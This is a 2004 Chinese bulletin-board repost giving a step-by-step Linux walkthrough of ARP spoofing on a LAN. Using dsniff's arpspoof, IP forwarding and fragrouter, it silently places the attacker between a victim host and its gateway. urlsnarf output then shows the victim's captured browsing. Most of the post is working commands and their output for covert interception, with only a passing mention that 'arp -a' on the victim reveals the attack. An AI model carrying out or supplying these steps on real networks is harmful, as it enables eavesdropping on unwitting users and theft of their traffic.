mseSTA 版 (精华区)

发信人: draziwest (疯子), 信区: mseSTA       
标  题: [转载]ARP欺编在linux下的实现
发信站: BBS 听涛站 (Sun May 30 13:02:29 2004), 站内

发信人: ipv1 (版一), 信区: LinuxApp
标  题: ARP欺编在linux下的实现
发信站: BBS 水木清华站 (Sat May 29 17:50:36 2004), 站内

<转帖>
例如下面这样的情况:

在局域网中192.168.0.24和192.168.0.29都是通过网关192.168.0.1上网的,假定攻击者的
系统为192.168.0.24,他希望听到192.168.0.29的通信,那么我们就可以利用ARP欺骗实现

1、  首先告诉192.168.0.29,网关192.168.0.1的MAC地址是192.168.0.24
2、  告诉192.168.0.1,192.168.0.29的MAC地址是192.168.0.24。
这样192.168.0.29和192.168.0.1之间的数据包,就会发给192.168.0.24,也就是攻击者的
机器,这样就可以听到会话了。但是这么做的有一个问题,192.168.0.29发现自己不能上网
了,因为原来发给192.168.0.1的数据包都被192.168.0.24接收了,而并没有发给网关192.1
68.0.1。

这时候192.168.0.24设置一个包转发的东西就可以解决这个问题了,也就是从192.168.0.2
9收到的包转发给192.168.0.1,在把从192.168.0.1收到的包发给192.168.0.29。这样192.1
68.0.29根本就不会意识到自己被监听了。

具体实现:

1、  欺骗192.168.0.29,告诉这台机器网关192.168.0.1的MAC地址是自己(192.168.0.24)

[root@Linux dsniff-2.3]# ./arpspoof -i eth0 -t 192.168.0.29 192.168.0.1
0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:
7:71
0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:
7:71
0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:
7:71
0:50:56:40:7:71 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:50:56:40:
7:71
0:0:21:0:0:18 0:0:86:61:6b:4e 0806 42: arp reply 192.168.0.1 is-at 0:0:21:0:0:18
………………………………..

这时候对192.168.0.29的ARP欺骗就开始了。

2、  欺骗192.168.0.1,告诉网关192.168.0.29的MAC地址是自己(192.168.0.24)。
[root@Linux dsniff-2.3]# ./arpspoof -i eth0 -t 192.168.0.1 192.168.0.29
0:50:56:40:7:71 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:50:56:40:7
:71
0:50:56:40:7:71 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:50:56:40:7
:71
0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b
:4e
0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b
:4e
0:0:86:61:6b:4e 0:0:21:0:0:18 0806 42: arp reply 192.168.0.29 is-at 0:0:86:61:6b
:4e

其实在这个时候192.168.0.29是可以发现的自己被欺骗了。在CMD下面使用ARP –a命令:
C:\WINNT>arp -a
Interface: 192.168.0.29 on Interface 0x1000003

  Internet Address      Physical Address      Type

  192.168.0.1           00-50-56-40-07-71     dynamic
  192.168.0.24          00-50-56-40-07-71     dynamic

两个IP地址的MAC地址居然是一模一样的!不过很少有人会这么做:-)。

3、  设置一个包转发
[root@Linux fragrouter-1.6]# ./fragrouter -B1
fragrouter: base-1: normal IP forwarding
在这之前别忘了首先需要打开包转发的功能
[root@Linux /proc]# echo 1 >/proc/sys/net/ipv4/ip_forward
万事具备,可以开始SNIFFER了。
例如想看看192.168.0.29在浏览什么地方:
[root@Linux dsniff-2.3]# ./urlsnarf
urlsnarf: listening on eth0 [tcp port 80 or port 8080 or port 3128] 
Kitty[18/May/2002:20:02:25+1100]"GET http://pub72.ezboard.com/flasile15596frm1.s
howAddReplyScreenFromWeb?topicID=29.topic&index=7 HTTP/1.1" - - "http://www.goog
le.com/search?hl=zh-CN&ie=UTF8&oe=UTF8&q=fdfds&btnG=Google%E6%90%9C%E7%B4%A2&lr=
" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"

Kitty - - [18/May/2002:20:02:28 +1100] "GET http://www.ezboard.com/ztyles/defaul
t.css HTTP/1.1" - - "http://pub72.ezboard.com/flasile15596frm1.showAddReplyScree
nFromWeb?topicID=29.topic&index=7" "Mozilla/4.0 (compatible; MSIE 6.0; Windows N
T 5.0)"

Kitty - - [18/May/2002:20:02:29 +1100] "GET http://www1.ezboard.com/spch.js?cust
omerid=1147458082 HTTP/1.1" - - "http://pub72.ezboard.com/flasile15596frm1.showA
ddReplyScreenFromWeb?topicID=29.topic&index=7" "Mozilla/4.0 (compatible; MSIE 6.
0; Windows NT 5.0)"



当然也可以知道其他………:-)

--

※ 来源:·BBS 听涛站 tingtao.net·[FROM: 219.224.175.139]
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:1.310毫秒